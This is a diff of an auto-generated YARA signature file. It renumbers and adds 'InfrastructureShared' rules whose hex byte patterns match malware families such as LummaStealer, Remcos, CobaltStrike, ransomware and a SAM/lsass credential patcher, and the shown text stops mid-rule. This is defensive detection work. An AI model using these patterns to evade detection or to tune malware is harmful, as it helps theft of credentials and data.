_InfrastructureShared_5210{ +rule _InfrastructureShared_5438{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 41 54 2e 47 42 56 4c 21 4d 54 42 00 02 00 2d 03 83 c0 01 89 85 90 01 04 83 bd 90 01 05 73 90 01 01 8b 8d 90 01 04 0f be 54 0d 90 01 01 81 f2 91 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5439{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 42 43 4d 44 21 4d 54 42 00 02 00 2a 03 49 8b c2 48 f7 e1 48 8b c1 48 c1 ea 03 4c 8d 04 92 4d 03 c0 49 2b c0 0f b6 44 04 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -53897,7 +56259,7 @@ rule _InfrastructureShared_5210{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*23691) >=2 } -rule _InfrastructureShared_5211{ +rule _InfrastructureShared_5441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -53908,7 +56270,7 @@ rule _InfrastructureShared_5211{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26964) >=2 } -rule _InfrastructureShared_5212{ +rule _InfrastructureShared_5442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -53919,7 +56281,7 @@ rule _InfrastructureShared_5212{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26964) >=2 } -rule _InfrastructureShared_5213{ +rule _InfrastructureShared_5443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -53930,7 +56292,7 @@ rule _InfrastructureShared_5213{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26964) >=2 } -rule _InfrastructureShared_5214{ +rule _InfrastructureShared_5444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -53941,29 +56303,39 @@ rule _InfrastructureShared_5214{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26964) >=2 } -rule _InfrastructureShared_5215{ +rule _InfrastructureShared_5445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {59 32 56 3a 43 53 45 5f 43 79 62 53 65 63 5f 45 6e 2f 41 50 54 32 38 5f 48 6f 73 70 69 74 61 6c 69 74 79 4d 61 6c 77 61 72 65 5f 6d 76 74 62 61 6e 64 5f 66 69 6c 65 00 01 00 07 01 44 47 4d 4e 4f 45 50 01 00 0a 01 c7 45 94 0a 25 } //16675 - $a_45_1 = {00 00 78 5f 00 00 02 00 02 00 02 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 57 6f 72 6b 70 6c 61 63 65 49 6e 73 74 61 6c 6c 65 72 00 01 00 16 80 01 57 6f 72 6b 70 6c 61 63 65 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 18 80 01 64 6f 77 6e 6c 6f 61 64 73 2e 6f 73 33 33 70 6f 72 74 61 6c 2e 6e 65 74 00 00 78 5f 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 43 69 6d 75 7a 2e 4c 00 01 00 1f 03 55 } //12403 + $a_45_1 = {00 00 78 5f 00 00 02 00 02 00 02 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 57 6f 72 6b 70 6c 61 63 65 49 6e 73 74 61 6c 6c 65 72 00 01 00 16 80 01 57 6f 72 6b 70 6c 61 63 65 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 18 80 01 64 6f 77 6e 6c 6f 61 64 73 2e 6f 73 33 33 70 6f 72 74 61 6c 2e 6e 65 74 00 00 78 5f 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 39 00 01 00 15 03 40 00 } //12403 condition: ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*12403) >=2 } -rule _InfrastructureShared_5216{ +rule _InfrastructureShared_5446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_6c_0 = {77 4c 69 73 74 3a 57 6f 72 6b 70 6c 61 63 65 49 6e 73 74 61 6c 6c 65 72 00 01 00 16 80 01 57 6f 72 6b 70 6c 61 63 65 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 18 80 01 64 6f 77 6e 6c 6f 61 64 73 2e 6f 73 33 33 70 6f 72 74 61 6c 2e 6e 65 74 00 00 78 5f 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 } //16675 - $a_69_1 = {75 7a 2e 4c 00 01 00 1f 03 55 89 e5 69 c0 90 01 02 00 00 69 c0 90 01 02 00 00 6b c0 90 01 01 03 45 08 c9 c2 04 00 90 00 01 00 17 00 51 75 65 72 79 50 65 72 66 6f 72 6d 61 6e 63 65 43 6f 75 6e 74 65 72 } //12082 + $a_6c_0 = {77 4c 69 73 74 3a 57 6f 72 6b 70 6c 61 63 65 49 6e 73 74 61 6c 6c 65 72 00 01 00 16 80 01 57 6f 72 6b 70 6c 61 63 65 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 18 80 01 64 6f 77 6e 6c 6f 61 64 73 2e 6f 73 33 33 70 6f 72 74 61 6c 2e 6e 65 74 00 00 78 5f 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 } //16675 + $a_72_1 = {52 48 39 00 01 00 15 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 90 01 1c 40 00 00 e0 90 00 01 00 22 03 50 45 00 00 4c 01 90 01 12 0b 01 30 00 00 24 00 00 00 0a 00 00 00 00 00 00 00 90 01 02 00 00 20 90 00 00 00 78 5f 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 43 69 6d 75 7a } //27745 condition: - ((#a_6c_0 & 1)*16675+(#a_69_1 & 1)*12082) >=2 + ((#a_6c_0 & 1)*16675+(#a_72_1 & 1)*27745) >=2 } -rule _InfrastructureShared_5217{ +rule _InfrastructureShared_5447{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 39 00 01 00 15 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 90 01 1c 40 00 00 e0 90 00 01 00 22 03 50 45 00 00 4c 01 90 01 12 0b 01 30 00 00 24 00 00 00 0a 00 00 00 00 00 00 00 90 01 02 00 00 20 90 00 00 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_5448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -53973,7 +56345,7 @@ rule _InfrastructureShared_5217{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5218{ +rule _InfrastructureShared_5449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -53983,7 +56355,7 @@ rule _InfrastructureShared_5218{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5219{ +rule _InfrastructureShared_5450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -53993,7 +56365,7 @@ rule _InfrastructureShared_5219{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5220{ +rule _InfrastructureShared_5451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -54003,7 +56375,7 @@ rule _InfrastructureShared_5220{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5221{ +rule _InfrastructureShared_5452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -54013,7 +56385,7 @@ rule _InfrastructureShared_5221{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5222{ +rule _InfrastructureShared_5453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -54023,7 +56395,7 @@ rule _InfrastructureShared_5222{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5223{ +rule _InfrastructureShared_5454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -54033,7 +56405,7 @@ rule _InfrastructureShared_5223{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5224{ +rule _InfrastructureShared_5455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -54043,7 +56415,7 @@ rule _InfrastructureShared_5224{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5225{ +rule _InfrastructureShared_5456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -54054,7 +56426,7 @@ rule _InfrastructureShared_5225{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*21249) >=2 } -rule _InfrastructureShared_5226{ +rule _InfrastructureShared_5457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -54064,19 +56436,40 @@ rule _InfrastructureShared_5226{ ((#a_77_0 & 1)*19491) >=2 } -rule _InfrastructureShared_5227{ +rule _InfrastructureShared_5458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 4d 69 70 6b 6f 00 02 00 0a 00 4d 00 69 00 70 00 6b 00 6f 00 01 00 0e 01 57 4d 5f 50 52 4f 47 52 55 4e 48 4f 4f 4b 01 00 0b 01 57 4d 5f 53 48 4f 57 48 4f 4f 4b 01 00 11 00 57 4d 5f 48 54 4d 4c 5f 47 45 54 4f 42 4a 45 43 54 00 00 } //18467 - $a_00_2 = {03 00 21 } //3 - $a_46_3 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 42 61 64 44 6f 63 74 6f 72 50 61 79 6c 6f 61 64 2e 41 21 64 68 61 00 01 00 08 80 01 77 75 73 5f 64 61 74 61 01 00 0a 80 01 77 75 73 5f 6c 6f 61 64 65 64 01 00 0b 80 01 77 75 73 5f 72 75 } //16675 + $a_00_2 = {02 00 21 } //3 + $a_46_3 = {50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 61 77 35 36 00 02 00 20 80 01 4d 69 78 65 64 5c 70 64 62 6d 61 70 5c 57 61 6e 4e 65 6e 67 5c 49 6e 73 74 61 6c 6c 2e 70 64 62 01 00 0e 80 01 55 73 65 56 65 73 74 69 67 } //16675 condition: ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*3+(#a_46_3 & 1)*16675) >=2 } -rule _InfrastructureShared_5228{ +rule _InfrastructureShared_5459{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 61 77 35 36 00 02 00 20 80 01 4d 69 78 65 64 5c 70 64 62 6d 61 70 5c 57 61 6e 4e 65 6e 67 5c 49 6e 73 74 61 6c 6c 2e 70 64 62 01 00 0e 80 01 55 73 65 56 65 73 74 69 67 } //16675 + $a_6e_1 = {00 00 78 5f 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 79 65 53 74 79 65 2e 41 45 59 45 21 4d 54 42 00 01 00 1f 03 08 00 a4 00 a2 90 01 04 37 cc 00 00 94 08 00 a4 00 a2 90 01 04 38 cc 00 00 94 08 00 a4 90 00 02 00 0b 01 6c 78 77 78 7a 70 70 2e 65 78 65 00 00 78 5f 00 00 } //11877 + condition: + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*11877) >=3 + +} +rule _InfrastructureShared_5460{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 79 65 53 74 79 65 2e 41 45 59 45 21 4d 54 42 00 01 00 1f 03 08 00 a4 00 a2 90 01 04 37 cc 00 00 94 08 00 a4 00 a2 90 01 04 38 cc 00 00 94 08 00 a4 90 00 02 00 0b 01 6c 78 77 78 7a 70 70 2e 65 78 65 00 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=3 + +} +rule _InfrastructureShared_5461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54088,7 +56481,7 @@ rule _InfrastructureShared_5228{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28270+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5229{ +rule _InfrastructureShared_5462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54100,7 +56493,7 @@ rule _InfrastructureShared_5229{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28520+(#a_48_2 & 1)*21061) >=3 } -rule _InfrastructureShared_5230{ +rule _InfrastructureShared_5463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54112,7 +56505,7 @@ rule _InfrastructureShared_5230{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26740+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5231{ +rule _InfrastructureShared_5464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54123,7 +56516,7 @@ rule _InfrastructureShared_5231{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29811) >=3 } -rule _InfrastructureShared_5232{ +rule _InfrastructureShared_5465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54134,7 +56527,7 @@ rule _InfrastructureShared_5232{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5233{ +rule _InfrastructureShared_5466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54145,7 +56538,7 @@ rule _InfrastructureShared_5233{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5234{ +rule _InfrastructureShared_5467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54156,7 +56549,7 @@ rule _InfrastructureShared_5234{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5235{ +rule _InfrastructureShared_5468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54167,7 +56560,7 @@ rule _InfrastructureShared_5235{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5236{ +rule _InfrastructureShared_5469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54178,7 +56571,7 @@ rule _InfrastructureShared_5236{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5237{ +rule _InfrastructureShared_5470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54189,7 +56582,7 @@ rule _InfrastructureShared_5237{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5238{ +rule _InfrastructureShared_5471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -54200,29 +56593,19 @@ rule _InfrastructureShared_5238{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_5239{ +rule _InfrastructureShared_5472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_6e_0 = {6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 41 31 21 41 4d 54 42 00 01 00 0d 80 01 6d 61 73 74 65 72 20 73 65 63 72 65 74 01 00 0d 80 01 5a 3a 2f 72 61 6e 73 6f 6d 5f 73 72 63 01 00 0d 80 01 25 73 20 66 6f 6c 64 65 72 3a 20 25 76 00 00 78 5f 00 00 04 00 04 00 02 00 21 23 54 45 } //21027 - $a_72_1 = {6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 4a 59 41 41 21 4d 54 42 00 02 00 0f 01 0c 08 66 0c 08 17 58 0c 08 66 0c 08 07 61 0c 02 00 19 03 06 07 17 58 6f 90 01 01 00 00 0a 28 90 01 01 00 00 0a 0a 07 17 58 0b 90 00 00 00 78 5f 00 00 } //14924 - $a_00_2 = {04 00 21 23 } //4 + $a_6e_0 = {6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 41 31 21 41 4d 54 42 00 01 00 0d 80 01 6d 61 73 74 65 72 20 73 65 63 72 65 74 01 00 0d 80 01 5a 3a 2f 72 61 6e 73 6f 6d 5f 73 72 63 01 00 0d 80 01 25 73 20 66 6f 6c 64 65 72 3a 20 25 76 00 00 78 5f 00 00 04 00 04 00 04 00 21 23 48 53 } //21027 + $a_49_1 = {72 53 64 6b 53 6f 6c 00 01 00 0d 01 49 4d 52 5f 41 64 64 43 6c 69 65 6e 74 01 00 08 01 49 4d 52 5f 49 6e 69 74 01 00 0f 01 49 4d 52 5f 53 4f 4c 53 65 6e 64 54 65 78 74 01 00 } //21076 + $a_4d_2 = {5f 53 4f 4c 52 65 63 65 69 76 65 54 65 78 74 00 00 78 5f 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 47 54 21 4d 54 42 00 01 00 0d 01 50 72 6f 6a 65 63 74 35 31 2e 64 } //274 condition: - ((#a_6e_0 & 1)*21027+(#a_72_1 & 1)*14924+(#a_00_2 & 1)*4) >=3 + ((#a_6e_0 & 1)*21027+(#a_49_1 & 1)*21076+(#a_4d_2 & 1)*274) >=3 } -rule _InfrastructureShared_5240{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 4a 59 41 41 21 4d 54 42 00 02 00 0f 01 0c 08 66 0c 08 17 58 0c 08 66 0c 08 07 61 0c 02 00 19 03 06 07 17 58 6f 90 01 01 00 00 0a 28 90 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=4 - -} -rule _InfrastructureShared_5241{ +rule _InfrastructureShared_5473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -54234,7 +56617,7 @@ rule _InfrastructureShared_5241{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*4+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_5242{ +rule _InfrastructureShared_5474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -54246,7 +56629,7 @@ rule _InfrastructureShared_5242{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*4+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_5243{ +rule _InfrastructureShared_5475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -54258,7 +56641,7 @@ rule _InfrastructureShared_5243{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*4+(#a_52_3 & 1)*21320) >=4 } -rule _InfrastructureShared_5244{ +rule _InfrastructureShared_5476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -54270,19 +56653,20 @@ rule _InfrastructureShared_5244{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*4+(#a_50_3 & 1)*17748) >=4 } -rule _InfrastructureShared_5245{ +rule _InfrastructureShared_5477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {45 52 3a 48 53 54 52 3a 50 61 74 63 68 5f 53 61 6d 53 72 76 2e 41 21 64 68 61 00 01 00 09 00 6c 73 61 73 73 2e 65 78 65 01 00 0a 00 73 61 6d 73 72 76 2e 64 6c 6c 01 00 0f 00 50 61 74 63 68 20 73 75 63 63 65 } //21539 $a_64_1 = {00 04 01 43 4e 47 45 00 00 78 5f 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 4b 41 45 21 4d 54 42 00 05 00 28 01 56 57 78 6f 55 30 30 78 53 6c 6c 58 62 58 68 70 59 6d 78 4b 57 56 6b 79 4d 58 4e 4e 52 6e 42 53 55 46 51 } //29555 - $a_3d_2 = {00 00 78 5f 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 73 6c 61 2e 50 47 41 21 4d 54 42 00 05 00 31 03 25 16 0f 00 28 90 01 01 00 00 0a 9c 25 17 0f 00 28 90 01 01 00 00 0a 9c 25 18 0f 00 28 90 01 } //20599 + $a_3d_2 = {00 00 78 5f 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 50 47 52 43 21 4d 54 42 00 05 00 31 03 72 9c 33 00 70 0a 00 06 28 90 01 01 00 00 06 72 49 34 00 70 28 90 01 02 00 0a 28 90 01 01 00 } //20599 + $a_16_3 = {0c 16 6a 0d 17 6a 13 04 16 13 0f } //11008 condition: - ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*29555+(#a_3d_2 & 1)*20599) >=4 + ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*29555+(#a_3d_2 & 1)*20599+(#a_16_3 & 1)*11008) >=4 } -rule _InfrastructureShared_5246{ +rule _InfrastructureShared_5478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -54292,17 +56676,28 @@ rule _InfrastructureShared_5246{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_5247{ +rule _InfrastructureShared_5479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 73 6c 61 2e 50 47 41 21 4d 54 42 00 05 00 31 03 25 16 0f 00 28 90 01 01 00 00 0a 9c 25 17 0f 00 28 90 01 01 00 00 0a 9c 25 18 0f 00 28 90 01 01 00 00 0a 9c 13 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 50 47 52 43 21 4d 54 42 00 05 00 31 03 72 9c 33 00 70 0a 00 06 28 90 01 01 00 00 06 72 49 34 00 70 28 90 01 02 00 0a 28 90 01 01 00 00 2b 0b 16 6a 0c } //21539 condition: ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_5248{ +rule _InfrastructureShared_5480{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 64 6f 6d 2e 50 47 4d 21 4d 54 42 00 01 00 14 01 0a 06 06 6f 54 00 00 0a 06 6f 55 00 00 0a 6f 56 00 00 0a 0b 04 00 1a 03 02 12 00 6f 90 01 01 00 00 0a 2c 02 06 2a } //21539 + $a_90_1 = {01 00 00 06 2a 90 00 00 00 78 5f 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 } //5890 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*5890) >=5 + +} +rule _InfrastructureShared_5481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -54313,7 +56708,7 @@ rule _InfrastructureShared_5248{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-28509) >=5 } -rule _InfrastructureShared_5249{ +rule _InfrastructureShared_5482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -54324,7 +56719,7 @@ rule _InfrastructureShared_5249{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*-31743) >=5 } -rule _InfrastructureShared_5250{ +rule _InfrastructureShared_5483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -54336,7 +56731,7 @@ rule _InfrastructureShared_5250{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*8+(#a_5f_3 & 1)*17466) >=5 } -rule _InfrastructureShared_5251{ +rule _InfrastructureShared_5484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 21 " @@ -54347,7 +56742,7 @@ rule _InfrastructureShared_5251{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*10) >=8 } -rule _InfrastructureShared_5252{ +rule _InfrastructureShared_5485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -54357,7 +56752,7 @@ rule _InfrastructureShared_5252{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5253{ +rule _InfrastructureShared_5486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -54367,7 +56762,7 @@ rule _InfrastructureShared_5253{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5254{ +rule _InfrastructureShared_5487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -54377,7 +56772,7 @@ rule _InfrastructureShared_5254{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5255{ +rule _InfrastructureShared_5488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -54387,7 +56782,7 @@ rule _InfrastructureShared_5255{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5256{ +rule _InfrastructureShared_5489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -54397,7 +56792,7 @@ rule _InfrastructureShared_5256{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_5257{ +rule _InfrastructureShared_5490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -54407,7 +56802,7 @@ rule _InfrastructureShared_5257{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_5258{ +rule _InfrastructureShared_5491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 0a 00 02 00 21 " @@ -54418,7 +56813,7 @@ rule _InfrastructureShared_5258{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*29827) >=10 } -rule _InfrastructureShared_5259{ +rule _InfrastructureShared_5492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -54428,7 +56823,7 @@ rule _InfrastructureShared_5259{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_5260{ +rule _InfrastructureShared_5493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -54438,7 +56833,7 @@ rule _InfrastructureShared_5260{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_5261{ +rule 